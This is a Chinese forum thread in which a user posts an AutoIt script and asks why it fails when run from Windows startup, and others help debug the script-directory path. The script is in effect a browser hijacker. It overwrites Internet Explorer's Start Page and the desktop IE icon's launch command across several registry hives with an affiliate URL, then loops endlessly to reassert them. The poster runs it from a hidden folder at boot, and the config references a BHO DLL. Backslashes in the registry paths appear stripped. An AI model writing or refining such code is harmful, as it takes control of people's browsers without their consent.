fupsky 发表于 2008-12-24 10:55:04

读取ini文件出错!

if Not FileExists(@ScriptDir&"config.ini") Then
      MsgBox(0,"配置文件不存在","请先配置当前目录的config.ini文件")
IniWrite(@ScriptDir&""&"config.ini", "main","uid","")
Exit
EndIf
$user = IniRead ( "config.ini", "main", "uid","")
$wz = "http://www.dh232.cn/?"
$asw = '"C:Program FilesInternet Exploreriexplore.exe"'
$string = RegRead("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain","Start Page")
$Str = $wz&$user
RegWrite("HKEY_CLASSES_ROOTCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_CLASSES_ROOTCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "@", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "", "REG_SZ", $asw&$wz&$user)
RegWrite("HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "@", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain","Start Page","REG_SZ",$wz&$user)
RegWrite("HKEY_USERSS-1-5-21-753793252-3823303168-347332785-500SoftwareMicrosoftInternet ExplorerMain","Start Page",$asw&$wz&$user)
While 1
If $string <> ($Str)Then
RegWrite("HKEY_CLASSES_ROOTCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_CLASSES_ROOTCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "@", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "", "REG_SZ", $asw&$wz&$user)
RegWrite("HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "@", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain","Start Page","REG_SZ",$wz&$user)
RegWrite("HKEY_USERSS-1-5-21-753793252-3823303168-347332785-500SoftwareMicrosoftInternet ExplorerMain","Start Page",$asw&$wz&$user)
EndIf
sleep(1000)
WEnd



程序有点儿乱,望大侠指证!

现在的问题是,我把生成的run.exe加到启动项里,启动后,只会写入$wz,而不会写入$user,即http://www.dh232.cn/?

如果把$user = IniRead ( "config.ini", "main", "uid","")改成$user = IniRead ( "config.ini", "main", "uid","1033"),则会写入http://www.dh232.com/?1033
它不读取config里的配置!

config.ini的内容是


uid=fupsky
clsid={A530BCC9-700E-4508-B9A8-D28A3BEB0BAB}
bhoname=flashqzone.dll

手动运行就可以,但是一加到开机启动项里就不行了!





哈哈,用相对路径@scriptDir解决了,加在了$user里边儿!

[ 本帖最后由 fupsky 于 2008-12-24 12:05 编辑 ]

dyljf 发表于 2008-12-24 11:17:17

在启动里运行和桌面上运行下面这句是不同的
MsgBox(0,"",@ScriptDir)

fupsky 发表于 2008-12-24 11:24:03

我没说清楚我的意思,我是新建了个批处理,原程序放在了D盘的一个隐藏目录,比如说是d:sysbaktoolsrun.exe

批处理是start d:sysbaktoolsrun.exe

我把批处理放到了启动项里,手动运行就可以,别的就不成
页: [1]
查看完整版本: 读取ini文件出错!